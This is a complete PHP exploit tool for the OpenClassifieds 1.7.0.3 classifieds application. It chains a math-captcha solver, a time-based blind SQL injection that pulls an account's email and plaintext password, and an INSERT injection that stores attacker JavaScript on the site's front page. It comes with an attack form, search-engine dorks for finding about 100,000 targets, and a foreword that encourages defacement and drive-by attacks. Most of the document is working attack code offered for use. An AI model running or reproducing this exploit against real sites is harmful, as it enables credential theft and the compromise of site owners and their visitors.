Author:Michael Brooks (Rook)<br>
Application:OpenClassifieds 1.7.0.3<br>
download: http://open-classifieds.com/download/<br>
Exploit chain:captcha bypass->sqli(insert)->persistant xss on front page<br>
If registration is required an extra link in the chain is added:<br>
Exploit chain:blind sqli(select)->captcha bypass->sqli(insert)->persistant xss on front page<br>
sites with SEO url's enabled:<br>
"powerd by Open Classifieds" inurl:"publish-a-new-ad.htm"  (85,000 results)<br>
or default urls:<br>
"powerd by Open Classifieds"  inurl:"item-new.php" (16,500 results)<br>
Total sites: ~100,000<br>
<br>
<br>
The target must be a link to the document root of OpenClassifieds<br>
(If the exploit doesn't immediately reload then blind sqli is required,  which will take a few minutes  ;)<br>
<form>
  Target:&nbsp;&nbsp;<input size=128 name=target value="http://localhost/"><br>
  Payload:<input size=128 name=xss value="<script>alert('xss')</script>"><br>
  <input type=submit value="Attack">
</form><br>
<?php
/*
 Foreword:
 I have always wanted to write a chained exploit with a captcha bypass,  so I couldn't miss this
 opportunity.    I spent a bit more effort on this exploit even though there aren't very many hits (around
 100k starts to be worth while). Regardless, I dug into the application and pulled out the vulnerabilities
 needed to Finnish my masterpiece.  Usually when I write a Remote Code Execution exploit for a web
 app you guys just deface the site or throw up drive-by attacks.  So I figured, persistent XSS on the
 front page is equally as valuable,  especially with yet another IE 0-day in the wild.  The chain is within
 the application its self.  Process sand-boxing like chroot/AppArmor/SELinux/Application-V(MS)
 doesn't come into play.  It works regardless of the operating system or configurations (Suhosin,
 safemode, magic_quotes_gpc and register_globals doesn't come into play). I focused on the
 application's internal configurations that could break the exploitation process.  In this case seo friendly
 urls and requiring an account before posting. 

 "This web application [OpenClassifieds] is developed to be fast, light, secure and SEO friendly."
 Usually when I see that an application claims to be secure,  they really don't know what the fuck they
 are doing.  OpenClassifieds' Security model is deeply flawed and as a result there are MANY
 vulnerabilities in this code base which allowed me to string a few cool ones together to make an
 interesting exploit.    OpenClassifieds is sanitizing everything on input using cG() and cP(),  these
 functions are used to perform a mysql_real_escape_string()  on all GET and POST variables.  Most
 servers aren't using an exotic character set so from a security stand point this is exactly identical to
 magic_quotes_gpc.  So I dusted off my usual magic_quotes_gpc auditing tricks,  look for
 stripslashes(),base64decode(),urldecode(),html_entity_decode() lack of quote marks around variables
 in a query,  ect...  Sanitation must ALWAYS be done at the time of use, parametrized queries are a
 good example of this.   Its impossible to account for all the ways a variable can be mangled once it
 enters a program and if you Sanitize input when it first enters the program there will be cases where it
 will become dangerous again.   This isn't only a problem for SQLi,  its also a problem for XSS.  I am
 inserting JS into the database, which isn't a vulnerablity,  but printing it, is persistant XSS. 

 The blind sql injection is a bit strange.  I can't use white space or commas,  which is a pain.  I had to
 rewrite my general purpose Blind SQLi Class to accommodate.   A binary search is used to greatly
 speed up the blind sqli attack.   
 (which I also used in my php-nuke exploit: http://www.exploit-db.com/exploits/12510/)

 Special thanks to Reiners for this sqli filter evasion cheat sheet: 
 http://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/
 Here are some changes I had to make to my blind sql injection class:
 "select substring('abc',1,1)"=>"select substring('abc' from 1 for 1)"
 if(greatest(".sprintf($question,$cur).",".$pos.")!=".$pos.",sleep(".$this->timeout."),0)" =>"case ".sprintf($question,"0+".$cur).">".$pos." when true  then sleep(".$this->timeout.") end"

 CWE Violations leveraged by this exploit: 
 CWE-256: Plaintext Storage of a Password
 CWE-804: Guessable CAPTCHA  (I asked that they create this CWE when I ran into a guy that works for Mitre.)
 CWE-89: SQL Injection x2
 CWE-79: Cross-site Scripting (Persistant)
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Vulnerable captcha:
openclassifieds/includes/common.php line 291
function encode_str ($input){//converts the input into Ascii HTML, to ofuscate a bit
    for ($i = 0; $i < strlen($input); $i++) {
         $output .= "&#".ord($input[$i]).';';
    }
    //$output = htmlspecialchars($output);//uncomment to escape sepecial chars
    return $output;
}
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------
function mathCaptcha(){//generates a captcha for the form
  $first_number=mt_rand(1, 94);//first operation number
  $second_number=mt_rand(1, 5);//second operation number

  $_SESSION["mathCaptcha"]=($first_number+$second_number);//operation result

  $operation=" <b>".encode_str($first_number ." + ". $second_number)."</b>?";//operation codifieds

  echo _("How much is")." ".$operation;
}
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Vulnerable persistant xss and sqli
/content/item-new.php line 41
$ocdb->insert(TABLE_PREFIX."posts (idCategory,type,title,description,price,idLocation,place,name,email,phone,password,ip,hasImages)","".
                        cP("category").",".cP("type").",'$title','$desc',$price,$location,'".cP("place")."','".cP("name")."','$email','".cP("phone")."','$post_password','$client_ip',$hasImages");
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------
*/
set_time_limit(0);
error_reporting(0);

function main(){
  if($_REQUEST['target'] && $_REQUEST['xss']){
    if(xssFrontPage($_REQUEST['target'],$_REQUEST['xss'])){
      print("<b>Persistant XSS attack was sucessful.</b>");
    }else{
      print("<b>Persistant XSS attack has failed.</b>");
    }
  }
}

//w00t, I can crack your captcha with 4 lines of code! 
//It would have been 3 if i had used eval(),  but that would be a vulnerability ;)
function breakCaptcha($page){
  preg_match("/\<b\>(.*)\<\/b\>\?/",$page,$match);
  $code=html_entity_decode($match[1]);
  $math=new EvalMath();
  return $math->evaluate($code);
}

function xssFrontPage($url,$xss){
  $h=new http_client();
  $page=$h->send($url."/content/item-new.php");
  #Authentication required.
  if(strstr($page,'Location: http')){#Do we need authentication? 
    print "Blind SQL Injection required.<br>";
    $sex=new openclassifieds_blind_sql_injection($url."/");
    if($sex->test_target()){
      print "Target is vulnerable to attack!<br>";
      $pass=$sex->find_string("password");
      print "Found Password:<b>$pass</b><br>";
      $email=$sex->find_string("email");
      print "Found email:<b>$email</b><br>";
      $h->postdata="email=$email&password=$pass&submit=loading...";
      $h->send($url."/content/account/login.php");
      $h->postdata='';
      $page=$h->send($url."/");
    }else{
      die("This target is not exploitable!<br>");
    }  
  }else{
    $email="test@test.com";
  }
  $code=breakCaptcha($page);
  $payload=blind_sql_injection::charEncode($xss);
  $pwd=mt_rand(1,9999999);//Strong password :p
  $fake_phone=mt_rand(1111111111,9999999999);
  $fake_email=blind_sql_injection::charEncode(mt_rand()."@".mt_rand().".com");
  $fake_ip=blind_sql_injection::charEncode(mt_rand(20,254).".".mt_rand(20,254).".".mt_rand(20,254).".".mt_rand(20,254));
  //Stored xss in the description,place and name columns. 
  $inj="36,".mt_rand(1,20).",".$payload.",".mt_rand().",".mt_rand(2,500).",".mt_rand(1,10).",".mt_rand().",".mt_rand().",".$fake_email.",".$fake_phone.",".$pwd.",".$fake_ip.",0)#";
        $h->postdata="category=".$inj."&type=0&place=home&title=title&price=1&description=desc&name=name&email=".$email."&math=".$code;
  $h->send($url."/content/item-new.php");
  $h->postdata='';
  //I could use sql injection to find the id,  but thats noisy and slow. 
  $rss=$h->send($url."/content/feed-rss.php");
  //seo friendly
  if(preg_match("/\-(.*)\.htm\<\/link\>/",$rss,$match)){
    $guess=$match[1];
  }else if(preg_match("/item\=(.*)\&type/",$rss,$match)){
    $guess=$match[1];
  }else{
    $guess=0;
  }
  $guess++;
  $page='';
  $test=false;
  #Now lets activate the XSS post.
  for($x=$guess;$x-$guess<=128&&!$test;$x++){
    $page=$h->send($url."/content/item-manage.php?pwd=".$pwd."&post=".$x."&action=confirm");
    $test=strstr($page,"<script language='JavaScript' type='text/javascript'>alert('");
  }
  return $test;
}

//http://localhost/openclassifieds/?location=%26%23039;/**/or/**/sleep(10)/**/or/**/1=%26%23039;
//The blind_sql_injeciton calss is a general exploit framework that we are inheriting.
class openclassifieds_blind_sql_injection extends blind_sql_injection {
    //This is the blind sql injection request.
    function query($check){
        //build the http request to Inject a query:
  //"%26%23039;" is a single quote encoded with urlencode(htmlencode("'",ENT_QUOTES));
  $payload="%26%23039; or (select ".$check." from oc_accounts where active=1 limit 1) or 1=%26%23039;";
  #white space becomes and underscore "_" so it must be replaced. 
  $payload=str_replace(" ","/**/",$payload);
  $this->set_get("location=".$payload);
    }
}

//This is a very efficient blind sql injection class.
class blind_sql_injection{
    var $url, $backup_url, $result, $http, $request_count, $timeout;
    function blind_sql_injection($url,$timeout=10){
        $this->request_count=0;
        $this->url=$url;
        $this->backup_url=$url;
        $this->http=new http_client();
        $this->timeout=$timeout;
    }
    function set_get($get){
        $this->url=$this->url."?".$get;
    }
    function set_referer($referer){
        $this->http->referer=$referer;
    }
    function set_post($post){
        $this->http->postdata=$post;
    }
    function test_target(){
        return $this->send("case true when true then sleep(".$this->timeout.") when false then sleep(0) end")&&!$this->send("case false when true then sleep(".$this->timeout.") when false then sleep(0) end");
  #return $this->send("if(true,sleep(".$this->timeout."),0)")&&!$this->send("if(false,sleep(".$this->timeout."),0)");
    }
    function num_to_hex($arr){
        $ret='';
        foreach($arr as $a){
            if($a<=9){
                $ret.=$a;
            }else{
                $ret.=chr(87+$a);
            }
        }
        return $ret;
    }
    ###These where not ported to the non-comma version. 
    //Looking for a string of length 32 and base 16 in ascii chars.
    #function find_md5($column){
     #   return $this->num_to_hex($this->bin_finder(16,32,"conv(substring($column,%s,1),16,10)"));
    #}
    #function find_sha1($column){
     #   return $this->num_to_hex($this->bin_finder(16,40,"conv(substring($column,%s,1),16,10)"));
    #}
    //Look for an ascii string of arbitrary length.
    function find_string($column){
        $ret='';
        //A length of zero means we are looking for a null byte terminated string.
        $result=$this->bin_finder(128,0,"ascii(substring($column from %s for 1))");
        foreach($result as $r){
            $ret.=chr($r);
        }
        return strrev($ret);
    }
    //query() is a method that generates the sql injection request
    function query($check){
        //This function must be overridden.
    }
    function recheck($result,$question,$base){
       $this->bin_finder($base,1,$question,$start);
       //Force a long timeout.
       $tmp_timeout=$this->timeout;
       if($this->timeout<10){
          $this->timeout=10;
       }else{
          $this->timeout=$this->timeout*2;
       }
       $l=1;
       foreach($result as $r){
          if($this->send("if(".sprintf($question,$l)."!=".$r.",sleep(".$this->timeout."),0)")){
              $result[]=$b;
              break;
          }
          $l++;
       }
       $this->timeout=$tmp_timeout;
    }
    function linear_finder($base,$length,$question){
        for($l=1;$l<=$length;$l++){
            for($b=0;$b<$base;$b++){
                if($this->send("if(".sprintf($question,$l)."=".$b.",sleep(".$this->timeout."),0)")){
                    $result[]=$b;
                    break;
                }
            }
        }
    }
    #Binary search for mysql based sql injection.
    function bin_finder($base,$length,$question){
        $start_pos=1;
        $result='';
        for($cur=$start_pos;$cur<=$length||$length==0;$cur++){
            $n=$base-1;
            $low=0;
            $floor=$low;
            $high=$n-1;
            $pos= $low+(($high-$low)/2);
            $found=false;
            while($low<=$high&&!$found){
                #asking the sql database if the current value is greater than $pos
                if($this->send("case ".sprintf($question,"0+".$cur).">".$pos." when true  then sleep(".$this->timeout.") end")){
    #if($this->send("if(greatest(".sprintf($question,$cur).",".$pos.")!=".$pos.",sleep(".$this->timeout."),0)")){
                    #if this is true then the value must be the modulus.
                    if($pos==$n-1){
                       $result[]=$pos+1;
                       $found=true;
                    }else{
                        $low=$pos+1;
                    }
                #asking the sql database if the current value is less than $pos
                }else if($this->send("case ".sprintf($question,"0+".$cur)."<".$pos." when true then sleep(".$this->timeout.") end")){
    #}else if($this->send("if(least(".sprintf($question,$cur).",".$pos.")!=".$pos.",sleep(".$this->timeout."),0)")){
                   #if this is true the value must be zero, or in the case of ascii,  a null byte.
                   if($pos==$floor+1){
                        $found=true;
                        #We have found the null terminator so we have finnished our search for a string.
                        if($length==0){
                            $length=-1;
                        }else{
                            $result[]=$pos-1;
                        }
                    }else{
                        $high=$pos-1;
                    }
                }else{
                    #both greater than and less then where asked, so so then the answer is our guess $pos.
                    $result[]=$pos;
                    $found=true;
                }
                $pos=$low+(($high-$low)/2);
            }
            print(".");
        }
        return $result;
    }
    //Fire off the request
    function send($quesiton){
        //build the injected query.
        $this->query($quesiton);
        $start=time();
        $resp=$this->http->send($this->url);
        //backup_url is for set_get()
        $this->url=$this->backup_url;
        $this->request_count++;
        return (time()-$start>=$this->timeout);
    }
    //retroGod RIP
   function charEncode($string){
  $char="char(";
  $size=strlen($string);
  for($x=0;$x<$size;$x++){
    $char.=ord($string[$x]).",";
  }
  $char[strlen($char)-1]=")%00";
  return $char;
   }   
}

//General purpose http client that works on a default php install. (curl not required)
class http_client{
    var $proxy_ip='', $proxy_port='', $proxy_name='', $proxy_pass='', $referer='',$cookie='',$postdata='';
    function send($loc){
         //overload function polymorphism between gets and posts
         $url=parse_url($loc);
         if(!isset($url['port'])){
            $url['port']=80;
        }
         $ua='Firefox';
         if($this->proxy_ip!=''&&$this->proxy_port!=''){
            $fp = pfsockopen( $this->proxy_ip, $this->proxy_port, &$errno, &$errstr, 120 );
            $url['path']=$url['host'].':'.$url['port'].$url['path'];
         }else{
            $fp = fsockopen( $url['host'], $url['port'], &$errno, &$errstr, 120 );
         }
         if( !$fp ) {
            print "$errstr ($errno)<br>\nn";
            return false;
         } else {
      if(@!$url['query']){
    $url['query']='';
      }
            if( $this->postdata=='' ) {
                $request="GET ".$url['path']."?".$url['query']." HTTP/1.1\r\n";
            } else {
                $request="POST ".$url['path']."?".$url['query']." HTTP/1.1\r\n";
            }
            if($this->proxy_name!=''&&$this->proxy_pass!=''){
                $request.="Proxy-Authorization: Basic ".base64_encode($this->proxy_name.":".$this->proxy_pass)."\r\n\r\n";
            }
            $request.="Host: ".$url['host'].":".$url['port']."\r\n";
            $request.="User-Agent: ".$ua."\r\n";
            $request.="Accept: text/plain\r\n";
            if($this->referer!=''){
                $request.="Referer: ".$this->referer."\r\n";
            }
            $request.="Connection: Close\r\n";
            if($this->cookie!=''){
                $request.="Cookie: ".$this->cookie."\r\n" ;
            }
            if( $this->postdata!='' ) {
                $strlength = strlen( $this->postdata );
                $request.="Content-type: application/x-www-form-urlencoded\r\n" ;
                $request.="Content-length: ".$strlength."\r\n\r\n";
                $request.=$this->postdata;
            }
            fputs( $fp, $request."\r\n\r\n" );
            $output='';
      while( !feof( $fp ) ) {
                   $output .= fgets( $fp, 1024 );
      }
            fclose( $fp );
      $header=explode("\r\n\r\n",$output);
      if(strstr($header[0],"Set-Cookie: ") && $this->cookie==''){
    $cookie=explode("Set-Cookie: ",$header[0]);
    $cookie=explode("\n",$cookie[1]);
    $cookie=explode(";",$cookie[0]);
    $this->cookie=trim($cookie[0]);
      }
      if(strstr($output,"Query:")){
    die($output);
      }
      return $output;
         }
    }
    //Use a http proxy
    function proxy($proxy){ //user:pass@ip:port
        $proxyAuth=explode('@',$proxy);
        if(isset($proxyAuth[1])){
            $login=explode(':',$proxyAuth[0]);
            $this->proxy_name=$login[0];
            $this->proxy_pass=$login[1];
            $addr=explode(':',$proxyAuth[1]);
        }else{
            $addr=explode(':',$proxy);
        }
         $this->proxy_ip=$addr[0];
        $this->proxy_port=$addr[1];
    }
    //Parses the results from a PHP error to use as a path disclosure.
    function getPath($url,$pops=1){
        $html=$this->send($url);
        //Regular error reporting:
        $resp=explode("array given in <b>",$html);
        if(isset($resp[1])){
            $resp = explode("</b>",$resp[1]);
        }else{
            //xdebug's error reporting:
            $resp=explode("array given in ",$html);
            if(isset($resp[1])){
                $resp = explode(" ",$resp[1]);
            }else{
                $resp[0]=false;
            }
        }
        $path=$resp[0];
        //Can't use dirname()
        if(strstr($path,"\\")){
           $p=explode("\\",$path);
           for($x=0;$x<$pops;$x++){
               array_pop($p);
           }
           $path=implode("\\",$p);
        }else{
           $p=explode("/",$path);
           for($x=0;$x<$pops;$x++){
               array_pop($p);
           }
           $path=implode("/",$p);
        }
        return $path;
    }
    //Grab the server type from the http header.
    function getServer($url){
        $resp=$this->send($url);
        $header=explode("Server: ",$resp);
        $server=explode("\n",$header[1]);
        return $server[0];
    }
}

#used to evaluate the captcha. 1+2=3
 class EvalMath {

                var $suppress_errors = false;
                var $last_error = null;

                var $v = array('e'=>2.71,'pi'=>3.14); // variables (and constants)
                var $f = array(); // user-defined functions
                var $vb = array('e', 'pi'); // constants
                var $fb = array(  // built-in functions
                        'sin','sinh','arcsin','asin','arcsinh','asinh',
                        'cos','cosh','arccos','acos','arccosh','acosh',
                        'tan','tanh','arctan','atan','arctanh','atanh',
                        'sqrt','abs','ln','log');

                function EvalMath() {
                        // make the variables a little more accurate
                        $this->v['pi'] = pi();
                        $this->v['e'] = exp(1);
                }

                function e($expr) {
                        return $this->evaluate($expr);
                }

                function evaluate($expr) {
                        $this->last_error = null;
                        $expr = trim($expr);
                        if (substr($expr, -1, 1) == ';') $expr = substr($expr, 0, strlen($expr)-1); // strip semicolons at the end
                        //===============
                        // is it a variable assignment?
                        if (preg_match('/^\s*([a-z]\w*)\s*=\s*(.+)$/', $expr, $matches)) {
                                if (in_array($matches[1], $this->vb)) { // make sure we're not assigning to a constant
                                        return $this->trigger("cannot assign to constant '$matches[1]'");
                                }
                                if (($tmp = $this->pfx($this->nfx($matches[2]))) === false) return false; // get the result and make sure it's good
                                $this->v[$matches[1]] = $tmp; // if so, stick it in the variable array
                                return $this->v[$matches[1]]; // and return the resulting value
                        //===============
                        // is it a function assignment?
                        } elseif (preg_match('/^\s*([a-z]\w*)\s*\(\s*([a-z]\w*(?:\s*,\s*[a-z]\w*)*)\s*\)\s*=\s*(.+)$/', $expr, $matches)) {
                                $fnn = $matches[1]; // get the function name
                                if (in_array($matches[1], $this->fb)) { // make sure it isn't built in
                                        return $this->trigger("cannot redefine built-in function '$matches[1]()'");
                                }
                                $args = explode(",", preg_replace("/\s+/", "", $matches[2])); // get the arguments
                                if (($stack = $this->nfx($matches[3])) === false) return false; // see if it can be converted to postfix
                                for ($i = 0; $i<count($stack); $i++) { // freeze the state of the non-argument variables
                                        $token = $stack[$i];
                                        if (preg_match('/^[a-z]\w*$/', $token) and !in_array($token, $args)) {
                                                if (array_key_exists($token, $this->v)) {
                                                        $stack[$i] = $this->v[$token];
                                                } else {
                                                        return $this->trigger("undefined variable '$token' in function definition");
                                                }
                                        }
                                }
                                $this->f[$fnn] = array('args'=>$args, 'func'=>$stack);
                                return true;
                        //===============
                        } else {
                                return $this->pfx($this->nfx($expr)); // straight up evaluation, woo
                        }
                }

                function vars() {
                        $output = $this->v;
                        unset($output['pi']);
                        unset($output['e']);
                        return $output;
                }

                function funcs() {
                        $output = array();
                        foreach ($this->f as $fnn=>$dat)
                                $output[] = $fnn . '(' . implode(',', $dat['args']) . ')';
                        return $output;
                }

                //===================== HERE BE INTERNAL METHODS ====================\\

                // Convert infix to postfix notation
                function nfx($expr) {

                        $index = 0;
                        $stack = new EvalMathStack;
                        $output = array(); // postfix form of expression, to be passed to pfx()
                        $expr = trim(strtolower($expr));

                        $ops   = array('+', '-', '*', '/', '^', '_');
                        $ops_r = array('+'=>0,'-'=>0,'*'=>0,'/'=>0,'^'=>1); // right-associative operator?  
                        $ops_p = array('+'=>0,'-'=>0,'*'=>1,'/'=>1,'_'=>1,'^'=>2); // operator precedence

                        $expecting_op = false; // we use this in syntax-checking the expression
                                                                   // and determining when a - is a negation

                        if (preg_match("/[^\w\s+*^\/()\.,-]/", $expr, $matches)) { // make sure the characters are all good
                                return $this->trigger("illegal character '{$matches[0]}'");
                        }

                        while(1) { // 1 Infinite Loop ;)
                                $op = substr($expr, $index, 1); // get the first character at the current index
                                // find out if we're currently at the beginning of a number/variable/function/parenthesis/operand
                                $ex = preg_match('/^([a-z]\w*\(?|\d+(?:\.\d*)?|\.\d+|\()/', substr($expr, $index), $match);
                                //===============
                                if ($op == '-' and !$expecting_op) { // is it a negation instead of a minus?
                                        $stack->push('_'); // put a negation on the stack
                                        $index++;
                                } elseif ($op == '_') { // we have to explicitly deny this, because it's legal on the stack 
                                        return $this->trigger("illegal character '_'"); // but not in the input expression
                                //===============
                                } elseif ((in_array($op, $ops) or $ex) and $expecting_op) { // are we putting an operator on the stack?
                                        if ($ex) { // are we expecting an operator but have a number/variable/function/opening parethesis?
                                                $op = '*'; $index--; // it's an implicit multiplication
                                        }
                                        // heart of the algorithm:
                                        while($stack->count > 0 and ($o2 = $stack->last()) and in_array($o2, $ops) and ($ops_r[$op] ? $ops_p[$op] < $ops_p[$o2] : $ops_p[$op] <= $ops_p[$o2])) {
                                                $output[] = $stack->pop(); // pop stuff off the stack into the output
                                        }
                                        // many thanks: http://en.wikipedia.org/wiki/Reverse_Polish_notation#The_algorithm_in_detail
                                        $stack->push($op); // finally put OUR operator onto the stack
                                        $index++;
                                        $expecting_op = false;
                                //===============
                                } elseif ($op == ')' and $expecting_op) { // ready to close a parenthesis?
                                        while (($o2 = $stack->pop()) != '(') { // pop off the stack back to the last (
                                                if (is_null($o2)) return $this->trigger("unexpected ')'");
                                                else $output[] = $o2;
                                        }
                                        if (preg_match("/^([a-z]\w*)\($/", $stack->last(2), $matches)) { // did we just close a function?
                                                $fnn = $matches[1]; // get the function name
                                                $arg_count = $stack->pop(); // see how many arguments there were (cleverly stored on the stack, thank you)
                                                $output[] = $stack->pop(); // pop the function and push onto the output
                                                if (in_array($fnn, $this->fb)) { // check the argument count
                                                        if($arg_count > 1)
                                                                return $this->trigger("too many arguments ($arg_count given, 1 expected)");
                                                } elseif (array_key_exists($fnn, $this->f)) {
                                                        if ($arg_count != count($this->f[$fnn]['args']))
                                                                return $this->trigger("wrong number of arguments ($arg_count given, " . count($this->f[$fnn]['args']) . " expected)");
                                                } else { // did we somehow push a non-function on the stack? this should never happen
                                                        return $this->trigger("internal error");
                                                }
                                        }
                                        $index++;
                                //===============
                                } elseif ($op == ',' and $expecting_op) { // did we just finish a function argument?
                                        while (($o2 = $stack->pop()) != '(') { 
                                                if (is_null($o2)) return $this->trigger("unexpected ','"); // oops, never had a (
                                                else $output[] = $o2; // pop the argument expression stuff and push onto the output
                                        }
                                        // make sure there was a function
                                        if (!preg_match("/^([a-z]\w*)\($/", $stack->last(2), $matches))
                                                return $this->trigger("unexpected ','");
                                        $stack->push($stack->pop()+1); // increment the argument count
                                        $stack->push('('); // put the ( back on, we'll need to pop back to it again
                                        $index++;
                                        $expecting_op = false;
                                //===============
                                } elseif ($op == '(' and !$expecting_op) {
                                        $stack->push('('); // that was easy
                                        $index++;
                                        $allow_neg = true;
                                //===============
                                } elseif ($ex and !$expecting_op) { // do we now have a function/variable/number?
                                        $expecting_op = true;
                                        $val = $match[1];
                                        if (preg_match("/^([a-z]\w*)\($/", $val, $matches)) { // may be func, or variable w/ implicit multiplication against parentheses...
                                                if (in_array($matches[1], $this->fb) or array_key_exists($matches[1], $this->f)) { // it's a func
                                                        $stack->push($val);
                                                        $stack->push(1);
                                                        $stack->push('(');
                                                        $expecting_op = false;
                                                } else { // it's a var w/ implicit multiplication
                                                        $val = $matches[1];
                                                        $output[] = $val;
                                                }
                                        } else { // it's a plain old var or num
                                                $output[] = $val;
                                        }
                                        $index += strlen($val);
                                //===============
                                } elseif ($op == ')') { // miscellaneous error checking
                                        return $this->trigger("unexpected ')'");
                                } elseif (in_array($op, $ops) and !$expecting_op) {
                                        return $this->trigger("unexpected operator '$op'");
                                } else { // I don't even want to know what you did to get here
                                        return $this->trigger("an unexpected error occured");
                                }
                                if ($index == strlen($expr)) {
                                        if (in_array($op, $ops)) { // did we end with an operator? bad.
                                                return $this->trigger("operator '$op' lacks operand");
                                        } else {
                                                break;
                                        }
                                }
                                while (substr($expr, $index, 1) == ' ') { // step the index past whitespace (pretty much turns whitespace 
                                        $index++;                             // into implicit multiplication if no operator is there)
                                }

                        } 
                        while (!is_null($op = $stack->pop())) { // pop everything off the stack and push onto output
                                if ($op == '(') return $this->trigger("expecting ')'"); // if there are (s on the stack, ()s were unbalanced
                                $output[] = $op;
                        }
                        return $output;
                }

                // evaluate postfix notation
                function pfx($tokens, $vars = array()) {

                        if ($tokens == false) return false;

                        $stack = new EvalMathStack;

                        foreach ($tokens as $token) { // nice and easy
                                // if the token is a binary operator, pop two values off the stack, do the operation, and push the result back on
                                if (in_array($token, array('+', '-', '*', '/', '^'))) {
                                        if (is_null($op2 = $stack->pop())) return $this->trigger("internal error");
                                        if (is_null($op1 = $stack->pop())) return $this->trigger("internal error");
                                        switch ($token) {
                                                case '+':
                                                        $stack->push($op1+$op2); break;
                                                case '-':
                                                        $stack->push($op1-$op2); break;
                                                case '*':
                                                        $stack->push($op1*$op2); break;
                                                case '/':
                                                        if ($op2 == 0) return $this->trigger("division by zero");
                                                        $stack->push($op1/$op2); break;
                                                case '^':
                                                        $stack->push(pow($op1, $op2)); break;
                                        }
                                // if the token is a unary operator, pop one value off the stack, do the operation, and push it back on
                                } elseif ($token == "_") {
                                        $stack->push(-1*$stack->pop());
                                // if the token is a function, pop arguments off the stack, hand them to the function, and push the result back on
                                } elseif (preg_match("/^([a-z]\w*)\($/", $token, $matches)) { // it's a function!
                                        $fnn = $matches[1];
                                        if (in_array($fnn, $this->fb)) { // built-in function:
                                                if (is_null($op1 = $stack->pop())) return $this->trigger("internal error");
                                                $fnn = preg_replace("/^arc/", "a", $fnn); // for the 'arc' trig synonyms
                                                if ($fnn == 'ln') $fnn = 'log';
                                                eval('$stack->push(' . $fnn . '($op1));'); // perfectly safe eval()
                                        } elseif (array_key_exists($fnn, $this->f)) { // user function
                                                // get args
                                                $args = array();
                                                for ($i = count($this->f[$fnn]['args'])-1; $i >= 0; $i--) {
                                                        if (is_null($args[$this->f[$fnn]['args'][$i]] = $stack->pop())) return $this->trigger("internal error");
                                                }
                                                $stack->push($this->pfx($this->f[$fnn]['func'], $args)); // yay... recursion!!!!
                                        }
                                // if the token is a number or variable, push it on the stack
                                } else {
                                        if (is_numeric($token)) {
                                                $stack->push($token);
                                        } elseif (array_key_exists($token, $this->v)) {
                                                $stack->push($this->v[$token]);
                                        } elseif (array_key_exists($token, $vars)) {
                                                $stack->push($vars[$token]);
                                        } else {
                                                return $this->trigger("undefined variable '$token'");
                                        }
                                }
                        }
                        // when we're out of tokens, the stack should have a single element, the final result
                        if ($stack->count != 1) return $this->trigger("internal error");
                        return $stack->pop();
                }

                // trigger an error, but nicely, if need be
                function trigger($msg) {
                        $this->last_error = $msg;
                        if (!$this->suppress_errors) trigger_error($msg, E_USER_WARNING);
                        return false;
                }
        }

        // for internal use
        class EvalMathStack {

                var $stack = array();
                var $count = 0;

                function push($val) {
                        $this->stack[$this->count] = $val;
                        $this->count++;
                }

                function pop() {
                        if ($this->count > 0) {
                                $this->count--;
                                return $this->stack[$this->count];
                        }
                        return null;
                }

                function last($n=1) {
                        return $this->stack[$this->count-$n];
                }
        }
  
main();
?>